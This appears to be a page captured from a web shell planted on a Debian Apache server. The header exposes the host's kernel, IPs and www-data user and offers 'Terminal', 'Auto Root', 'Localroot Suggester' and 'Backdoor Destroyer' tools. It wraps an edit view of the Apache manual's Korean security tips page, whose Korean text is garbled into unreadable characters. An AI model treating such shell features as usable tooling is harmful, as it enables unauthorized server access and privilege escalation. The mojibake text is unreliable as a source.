Linux cesa-www-main 6.1.0-49-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
Apache/2.4.68 (Debian)
Server IP : 10.218.0.2 & Your IP : 216.73.216.28
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
share /
doc /
apache2-doc /
manual /
ko /
misc /
Delete
Unzip
Name
Size
Permission
Date
Action
index.html
6.64
KB
-rw-r--r--
2026-06-12 05:08
password_encryptions.html
12.15
KB
-rw-r--r--
2026-06-12 05:08
perf-tuning.html
46.33
KB
-rw-r--r--
2026-06-12 05:08
relevant_standards.html
10.95
KB
-rw-r--r--
2026-06-12 05:08
security_tips.html
18.65
KB
-rw-r--r--
2026-06-12 05:08
Save
Rename
<!DOCTYPE html SYSTEM "about:legacy-compat"> <html lang="ko"><head><META http-equiv="Content-Type" content="text/html; charset=EUC-KR"> <meta content="width=device-width, initial-scale=1" name="viewport"> <!-- XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX This file is generated from xml source: DO NOT EDIT XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX --> <title>���� � - Apache HTTP Server Version 2.4</title> <link href="../../style/css/manual.css" rel="stylesheet" media="all" type="text/css" title="Main stylesheet"> <link href="../../style/css/manual-loose-100pc.css" rel="alternate stylesheet" media="all" type="text/css" title="No Sidebar - Default font size"> <link href="../../style/css/manual-print.css" rel="stylesheet" media="print" type="text/css"><link rel="stylesheet" type="text/css" href="../../style/css/prettify.css"> <script src="../../style/scripts/prettify.min.js"> </script> <link href="../../images/favicon.png" rel="shortcut icon"></head> <body id="manual-page"><div id="page-header"> <p class="menu"><a href="../mod/index.html">���</a> | <a href="../mod/quickreference.html">���þ��</a> | <a href="https://cwiki.apache.org/confluence/display/httpd/FAQ">FAQ</a> | <a href="../glossary.html">���</a> | <a href="../sitemap.html">���Ʈ��</a> | <a href="https://bz.apache.org/bugzilla/enter_bug.cgi?product=Apache%20httpd-2">Report a bug</a></p> <p class="apache">Apache HTTP Server Version 2.4</p> <img alt="" src="../../images/feather.png"></div> <div class="up"><a href="./index.html"><img title="<-" alt="<-" src="../../images/left.gif"></a></div> <div id="path"> <a href="https://www.apache.org/">Apache</a> > <a href="https://httpd.apache.org/">HTTP Server</a> > <a href="https://httpd.apache.org/docs/">Documentation</a> > <a href="../index.html">Version 2.4</a> > <a href="./index.html">Miscellaneous Documentation</a></div><div id="page-content"><div id="preamble"><h1>���� �</h1> <button aria-label="Toggle language list" class="lang-toggle"><svg xmlns="http://www.w3.org/2000/svg" stroke-width="2" stroke="currentColor" fill="none" viewBox="0 0 24 24" height="16" width="16"><circle r="10" cy="12" cx="12"/><line y2="12" x2="22" y1="12" x1="2"/><path d="M12 2a15.3 15.3 0 0 1 4 10 15.3 15.3 0 0 1-4 10 15.3 15.3 0 0 1-4-10 15.3 15.3 0 0 1 4-10z"/></svg></button> <div class="toplang"> <p><span>������ ���: </span><a href="../../en/misc/security_tips.html" hreflang="en" rel="alternate" title="English"> en </a> | <a href="../../fr/misc/security_tips.html" hreflang="fr" rel="alternate" title="Français"> fr </a> | <a href="../../ko/misc/security_tips.html" title="Korean"> ko </a> | <a href="../../tr/misc/security_tips.html" hreflang="tr" rel="alternate" title="Türkçe"> tr </a></p> </div> <div class="outofdate">�� ������ �ֽ��� ������ �ƴմϴ�. �ֱٿ� ����� ���� ���� ������ ����ϼ���.</div> <p>�������� ��Ҷ� ����� �� ���� ���� �Ʈ�� ��̴�. � ��� �Ϲ���̰�, � ��� ����ġ���� �ش��ϴ� ��̴�.</p> </div> <div id="quickview"><ul id="toc"><li><img alt="" src="../../images/down.gif"> <a href="#uptodate">�ֽ������ �����ϱ�</a></li> <li><img alt="" src="../../images/down.gif"> <a href="#serverroot">ServerRoot ���丮 ����</a></li> <li><img alt="" src="../../images/down.gif"> <a href="#ssi">Server Side Includes</a></li> <li><img alt="" src="../../images/down.gif"> <a href="#cgi">�Ϲ���� CGI</a></li> <li><img alt="" src="../../images/down.gif"> <a href="#nsaliasedcgi">ScriptAlias��� ��� CGI</a></li> <li><img alt="" src="../../images/down.gif"> <a href="#saliasedcgi">ScriptAlias�� CGI</a></li> <li><img alt="" src="../../images/down.gif"> <a href="#dynamic">���� ���� �����ϴ� �ٸ� ��</a></li> <li><img alt="" src="../../images/down.gif"> <a href="#systemsettings">�ý��� ���� ��ȣ�ϱ�</a></li> <li><img alt="" src="../../images/down.gif"> <a href="#protectserverfiles">�⺻������ ������ �ִ� ��� ��ȣ�ϱ�</a></li> <li><img alt="" src="../../images/down.gif"> <a href="#watchyourlogs">�α� ���캸��</a></li> </ul></div> <div class="top"><a href="#page-header"><img alt="top" src="../../images/up.gif"></a></div> <div class="section"> <h2 id="uptodate">�ֽ������ �����ϱ� <a title="Permanent link" href="#uptodate" class="permalink">¶</a></h2> <p>����ġ �������� ����� ���� ������ ����� ���� ����� ����ü�� �����ϴ�. ���� ũ�� �۰� ��ǥ�� �߰ߵǴ� ������ ���� �� ����. ���� ���Ʈ��� �ֽŹ������� �����ϴ� ��� �߿��ϴ�. ����ġ���� ���� �������� �ٿ�ε��ߴٸ�, ���ο� ������ ���� ������Ʈ�� �˷��ִ� <a href="http://httpd.apache.org/lists.html#http-announce">����ġ ������ ��ǥ ��ϸ�����Ʈ</a>�� �����ϱ� ����� ���Ѵ�. ����ġ ���Ʈ��� ����ϴ� ���� ����ڵ鵵 ���� ���� �����Ѵ�.</p> <p>���� ������ �ڵ嶧���� �������� ����� ���ϴ� ���� ���� �ʴ�. ���� �߰� �ڵ�, CGI ��ũ��Ʈ, ��� �ü���� ������ ����� ���ϴ� ��찡 ����. ���Ƿ� �� ����ϸ� �ý���� ��� ���Ʈ��� ������Ʈ�ؾ� �Ѵ�.</p> </div><div class="top"><a href="#page-header"><img alt="top" src="../../images/up.gif"></a></div> <div class="section"> <h2 id="serverroot">ServerRoot ���丮 ���� <a title="Permanent link" href="#serverroot" class="permalink">¶</a></h2> <p>���� root ���ڰ� ����ġ�� ����� ��, ��û�� �����ϱ��� <code class="directive"><a href="../mod/mpm_common.html#user">User</a></code> ���þ�� ������ ���ڷ� ��ȯ�Ѵ�. root�� �����ϴ� ��ɾ �ִٸ�, root �̿�� ���ڰ� ������� ���ϵ��� ����ؾ� �Ѵ�. �� ��ϵ� root�� �� �� �־�� �ϰ�, ���丮�� ��� ����丮�� ���������. ���� ���, ServerRoot�� /usr/local/apache�� ����Ѵٸ� root ���ڰ� ����� ���� ���丮�� ����� �����Ѵ�:</p> <div class="example"><p><code> mkdir /usr/local/apache <br> cd /usr/local/apache <br> mkdir bin conf logs <br> chown 0 . bin conf logs <br> chgrp 0 . bin conf logs <br> chmod 755 . bin conf logs </code></p></div> <p>���� /, /usr, /usr/local �� root���� ������ �� �ִ�. httpd �������� ��ġ�Ҷ� ����� ���� ��ȣ�ؾ� �Ѵ�:</p> <div class="example"><p><code> cp httpd /usr/local/apache/bin <br> chown 0 /usr/local/apache/bin/httpd <br> chgrp 0 /usr/local/apache/bin/httpd <br> chmod 511 /usr/local/apache/bin/httpd </code></p></div> <p>htdocs ������丮�� �ٸ� ���ڵ�� ������ �� �ֵ��� ���� �� �ִ� -- root�� �װ��� �ִ� ���� ���������, ������ �ʾƾ� �Ѵ�.</p> <p>root�� �ƴ� ���ڰ� root�� �����ϰų� ���Ⱑ���� ���� ������ �� �ִٸ� �ý���� root ����� ��ĥ �� �ִ�. ���� ���, ������ httpd �������� �����Ͽ��ٸ� ����� ����Ҷ� ���� �ڵ带 �����ϰ� �ȴ�. logs ���丮�� (root�� �ƴ� ���ڿ���) ���Ⱑ���ϴٸ� ������ �α����� �ٸ� �ý�����Ϸ� �ɺ���ũ�� �ɾ root�� ��Ͽ� ���� �ڷḦ ��� �� �ִ�. �α����� (root�� �ƴ� ���ڿ���) ���Ⱑ���ϴٸ� ������ �α� �̻��� �ڷḦ ����� �� �ִ�.</p> </div><div class="top"><a href="#page-header"><img alt="top" src="../../images/up.gif"></a></div> <div class="section"> <h2 id="ssi">Server Side Includes <a title="Permanent link" href="#ssi" class="permalink">¶</a></h2> <p>Server Side Includes (SSI)�� ���� �����ڿ��� ���Ȼ� ��� ����� ����̴�.</p> <p>ù��° ���� ������ ���ϸ� �ø��� ���̴�. ����ġ�� ��Ͽ� SSI ���þ �ִ�� ���ο� ������ ��� SSI ���� �м��ؾ� �Ѵ�. ���� ���ϰ� �����, ������ ���� ���� ���� ����ϴ� ȯ�濡���� �ɰ��� �� �ִ�.</p> <p>��, SSI ���� �Ϲ���� CGI ��ũ��Ʈ�� ������ ���� ������. SSI ��Ͽ��� "exec cmd"�� ����ϸ� apache2.conf���� ����ġ�� �����ϵ��� ������ ���ڿ� �� ������� CGI ��ũ��Ʈ�� ��α��� ������ �� �ִ�.</p> <p>���� Ȱ���ϸ鼭 SSI ���� ����� ����Ű�� ���� �ִ�.</p> <p>SSI ���� ������ �� �ִ� ���ظ� �ݸ��ϱ��� ���������ڴ� <a href="#cgi">�Ϲ���� CGI</a> ������ �����ϴ� ������ <a href="../suexec.html">suexec</a>�� ����� �� �ִ�</p> <p>.html�̳� .htm Ȯ��ڸ� SSI ��Ϸ� ����ϴ� ��� �����ϴ�. Ư� ���� ���� �����ϰų� ��ŷ��� ���� ���� ȯ�濡�� �����ϴ�. SSI ���� �Ϲ������ ���� ����ϴ� .shtml ���� ������ Ȯ��ڸ� ������ �Ѵ�. ���� ���� ���ϸ� �ּ�ȭ�ϰ� �����Ҹ� ���� ������ �� �ִ�.</p> <p>�ٸ� ���� SSI ������ ��ũ��Ʈ�� ��α��� ������� ���ϵ��� ����� ��̴�. <code class="directive"><a href="../mod/core.html#options">Options</a></code> ���þ�� <code>Includes</code> ��� <code>IncludesNOEXEC</code>�� ����Ѵ�. ���� ��ũ��Ʈ�� <code class="directive"><a href="../mod/mod_alias.html#scriptalias">ScriptAlias</a></code> ���þ�� ������ ���丮�� �ִٸ� <--#include virtual="..." -->�� ����Ͽ� CGI ��ũ��Ʈ�� ������ �� ����� ����϶�.</p> </div><div class="top"><a href="#page-header"><img alt="top" src="../../images/up.gif"></a></div> <div class="section"> <h2 id="cgi">�Ϲ���� CGI <a title="Permanent link" href="#cgi" class="permalink">¶</a></h2> <p>�ᱹ ���� �� CGI ��ũ��Ʈ/��α��� ���ڸ� �ŷ��ؾ� �ϰ�, ��ǰ� �Ǽ��̰� CGI�� ����� ���Ȼ� ���� �߰��� �� �־�� �Ѵ�. �⺻������ CGI ��ũ��Ʈ�� ������ ���� ������� �ý��ۿ��� � ��ɾ�� ������ �� �ֱ���� ���ְ� Ȯ����� ����� �ſ� �����ϴ�.</p> <p>��� CGI ��ũ��Ʈ�� ���� ���ڷ� ����DZ���� �ٸ� ��ũ��Ʈ�� (��ǰ� �Ǽ��̰�) �浹�� ���ɼ��� �ִ�. ���� ���, ���� A�� ���� B�� �ſ� �Ⱦ��Ͽ�, ���� B�� CGI �����ͺ��̽��� ���������� ��ũ��Ʈ�� �ۼ��� �� �ִ�. ����ġ 1.2 �������� ��ԵǾ��� ����ġ �������� Ư���� ��(hook)���� �����ϴ� <a href="../suexec.html">suEXEC</a>�� ��ũ��Ʈ�� �ٸ� ���ڷ� �����ϴ� ���� �ϳ���. �ٸ� ������ ������ <a href="http://cgiwrap.unixtools.org/">CGIWrap</a>�� �ִ�.</p> </div><div class="top"><a href="#page-header"><img alt="top" src="../../images/up.gif"></a></div> <div class="section"> <h2 id="nsaliasedcgi">ScriptAlias��� ��� CGI <a title="Permanent link" href="#nsaliasedcgi" class="permalink">¶</a></h2> <p>��� ����� �����Ҷ��� ���ڰ� � ���丮������ CGI ��ũ��Ʈ�� �����ϵ��� ����� �� �ִ�:</p> <ul> <li>���� ��ǰ� �Ǽ��̰� ���ڰ� �ý���� ���ݿ� �����Ű�� ��ũ��Ʈ�� �ۼ���� �ʴ´ٰ� �ϴ´�.</li> <li>�ý���� �ٸ� �κ�� ����� ���ؼ�, ����� ���� �ϳ� �� ���� ������ ��� ���ٰ� �����ϴ� ���.</li> <li>���ڰ� ����, �Ƹ� �ƹ��� ������ �湮����ʴ� ���.</li> </ul> </div><div class="top"><a href="#page-header"><img alt="top" src="../../images/up.gif"></a></div> <div class="section"> <h2 id="saliasedcgi">ScriptAlias�� CGI <a title="Permanent link" href="#saliasedcgi" class="permalink">¶</a></h2> <p>Ư�� ���丮������ CGI�� ������ �� �ֵ��� �����ϸ� �����ڴ� �̵� ���丮�� ���� �� �ִ�. �� ���� scriptalias��� ��� CGI���� Ȯ��� ����ϴ�. ��, �ŷ��ϴ� ���ڸ� ���丮�� ������ �� �ְ�, �����ڰ� ���ο� CGI ��ũ��Ʈ/��α��� ����� ���Ȼ� ���� �˻��� ��̰� �ִٸ�.</p> <p>��κ�� ���Ʈ�� scriptalias��� ��� CGI ��� ��� �� ���� ����Ѵ�.</p> </div><div class="top"><a href="#page-header"><img alt="top" src="../../images/up.gif"></a></div> <div class="section"> <h2 id="dynamic">���� ���� �����ϴ� �ٸ� �� <a title="Permanent link" href="#dynamic" class="permalink">¶</a></h2> <p> mod_php, mod_perl, mod_tcl, mod_python ���� ������ �Ϻη� �����ϴ� �Ӻ���� ��ũ��Ʈ�� ������ ���� ���ڷ� (<code class="directive"><a href="../mod/mpm_common.html#user">User</a></code> ���þ� ���) ����DZ����, ��ũ��Ʈ ������ �����ϴ� ��ũ��Ʈ�� ������� ���� ���ڰ� ������ �� �ִ� ��� �Ϳ� ������ �� �ִ�. � ��ũ��Ʈ ������ ������ ����� �����, ����ϴٰ� ������� �ʴ� ��� ����.</p> </div><div class="top"><a href="#page-header"><img alt="top" src="../../images/up.gif"></a></div> <div class="section"> <h2 id="systemsettings">�ý��� ���� ��ȣ�ϱ� <a title="Permanent link" href="#systemsettings" class="permalink">¶</a></h2> <p>������ ����� ������ ��Ϸ��� ���ڰ� <code>.htaccess</code> ���� ����Ͽ� ���� ������ ���ȱ��� �����ϱ� �ٶ� ��� ��̴�. ������ ����� ���� ���� �ִ�.</p> <p>���� ������Ͽ� ����� �߰��Ѵ�</p> <div class="example"><p><code> <Directory /> <br> AllowOverride None <br> </Directory> </code></p></div> <p>���� ��밡���ϵ��� �������� ����� ���丮�� �����ϰ�� <code>.htaccess</code> ���� ����� �� ����.</p> </div><div class="top"><a href="#page-header"><img alt="top" src="../../images/up.gif"></a></div> <div class="section"> <h2 id="protectserverfiles">�⺻������ ������ �ִ� ��� ��ȣ�ϱ� <a title="Permanent link" href="#protectserverfiles" class="permalink">¶</a></h2> <p>���� ���� ����ġ�� �⺻ ���ٿ� ���� �߸� �˰�ִ�. ��, ������ �Ϲ���� URL �� ��Ģ�� ����Ͽ� ���� ã�� �� �ִٸ�, Ư��� ��ġ�� ��� �ʴ��� Ŭ��̾�Ʈ���� ���� ���� �� �ִ�.</p> <p>���� ���, �Ʒ��� ���� ���:</p> <div class="example"><p><code> # cd /; ln -s / public_html <br> <code>http://localhost/~root/</code> �� �����Ѵ� </code></p></div> <p>���� Ŭ��̾�Ʈ�� ��ü ��Ͻý���� ���ƴٴ� �� �ִ�. �̸� ������ ������������ ����� ���� ��ġ�� �Ѵ�:</p> <div class="example"><p><code> <Directory /> <br> Order Deny,Allow <br> Deny from all <br> </Directory> </code></p></div> <p>���� ��Ͻý��� ��ġ�� ���� �⺻ ����� �źεȴ�. ���ϴ� ������ ������ �� �ֵ��� ����� ���� <code class="directive"><a href="../mod/core.html#directory">Directory</a></code> ���� �߰��Ѵ�.</p> <div class="example"><p><code> <Directory /usr/users/*/public_html> <br> Order Deny,Allow <br> Allow from all <br> </Directory> <br> <Directory /usr/local/httpd> <br> Order Deny,Allow <br> Allow from all <br> </Directory> </code></p></div> <p><code class="directive"><a href="../mod/core.html#location">Location</a></code>�� <code class="directive"><a href="../mod/core.html#directory">Directory</a></code> ���þ ���� ����ϴ� ��� Ư��� ��Ǹ� ��←��. ���� ���, <code><Directory /></code>�� ����� �ź��ϴ��� <code><Location /></code> ���þ �̸� ������ �� �ִ�</p> <p><code class="directive"><a href="../mod/mod_userdir.html#userdir">UserDir</a></code> ���þ ����ϴ� ��쿡�� ����϶�. ���þ "./" ���� �����ϸ� root ���ڿ� ���� �ٷ� ���� ���� ���� ������ ���Ѵ�. ����ġ 1.3 �̻� ����Ѵٸ� ���� ������Ͽ� �Ʒ� ��� �߰��ϱ� ����� ���Ѵ�:</p> <div class="example"><p><code> UserDir disabled root </code></p></div> </div><div class="top"><a href="#page-header"><img alt="top" src="../../images/up.gif"></a></div> <div class="section"> <h2 id="watchyourlogs">�α� ���캸�� <a title="Permanent link" href="#watchyourlogs" class="permalink">¶</a></h2> <p>����� �������� ���� ��� �־�� �ִ�� �˷��� <a href="../logs.html">�α����</a>�� ������ �Ѵ�. �α����� �̹� �Ͼ �ϸ��� ���������, ������ � ����� �־���� �˷��ְ� ��� �ʿ��� ��ŭ ������ Ȯ���ϰ� ��ش�.</p> <p>�������� ��:</p> <div class="example"><p><code> grep -c "/jsp/source.jsp?/jsp/ /jsp/source.jsp??" access_log <br> grep "client denied" error_log | tail -n 10 </code></p></div> <p>ù��° ���� <a href="http://online.securityfocus.com/bid/4876/info/">�߸��� Source.JSP ��û���� ���������� �˾Ƴ� �� �ִ� Tomcat�� ���</a>�� �̿��Ϸ��� ���� Ƚ���� �˷��ְ�, �ι�° ���� ����� �źε� �ֱ� Ŭ��̾�Ʈ 10���� ����� ���� �����ش�:</p> <div class="example"><p><code> [Thu Jul 11 17:18:39 2002] [error] [client foo.bar.com] client denied by server configuration: /usr/local/apache/htdocs/.htpasswd </code></p></div> <p>�� �� ��� �α����� �̹� ���� ��Ǹ��� �����Ѵ�. ���� Ŭ��̾�Ʈ�� <code>.htpasswd</code> ��Ͽ� ������ �� �־��ٸ� <a href="../logs.html#accesslog">���� �α�</a>�� ����� ���� ���� ���� ��̴�:</p> <div class="example"><p><code> foo.bar.com - - [12/Jul/2002:01:59:13 +0200] "GET /.htpasswd HTTP/1.1" </code></p></div> <p>��, ���� ���� ������Ͽ��� ��� �κ�� �ּ�ó����� ��̴�:</p> <div class="example"><p><code> <Files ".ht*"> <br> Order allow,deny <br> Deny from all <br> <Files> </code></p></div> </div></div> <div class="bottomlang"> <p><span>������ ���: </span><a href="../../en/misc/security_tips.html" hreflang="en" rel="alternate" title="English"> en </a> | <a href="../../fr/misc/security_tips.html" hreflang="fr" rel="alternate" title="Français"> fr </a> | <a href="../../ko/misc/security_tips.html" title="Korean"> ko </a> | <a href="../../tr/misc/security_tips.html" hreflang="tr" rel="alternate" title="Türkçe"> tr </a></p> </div><div id="footer"> <p class="apache">Copyright 2026 The Apache Software Foundation.<br>Licensed under the <a href="https://www.apache.org/licenses/LICENSE-2.0">Apache License, Version 2.0</a>.</p> <p class="menu"><a href="../mod/index.html">���</a> | <a href="../mod/quickreference.html">���þ��</a> | <a href="https://cwiki.apache.org/confluence/display/httpd/FAQ">FAQ</a> | <a href="../glossary.html">���</a> | <a href="../sitemap.html">���Ʈ��</a> | <a href="https://bz.apache.org/bugzilla/enter_bug.cgi?product=Apache%20httpd-2">Report a bug</a></p></div><script><!--//--><![CDATA[//><!-- if (typeof(prettyPrint) !== 'undefined') { prettyPrint(); } var langToggle = document.querySelector('.lang-toggle'); var topLang = document.querySelector('.toplang'); if (langToggle && topLang) { langToggle.addEventListener('click', function() { topLang.classList.toggle('open'); }); } var qv = document.getElementById('quickview'); if (qv) { document.body.appendChild(qv); var qvBtn = document.createElement('button'); qvBtn.className = 'qv-toggle'; qvBtn.setAttribute('aria-label', 'Toggle page navigation'); qvBtn.innerHTML = '☰'; document.body.appendChild(qvBtn); qvBtn.addEventListener('click', function() { var isOpen = qv.classList.toggle('open'); if (isOpen) { qv.style.top = window.scrollY + 10 + 'px'; } }); window.addEventListener('scroll', function() { qv.classList.remove('open'); }); } //--><!]]></script> </body></html>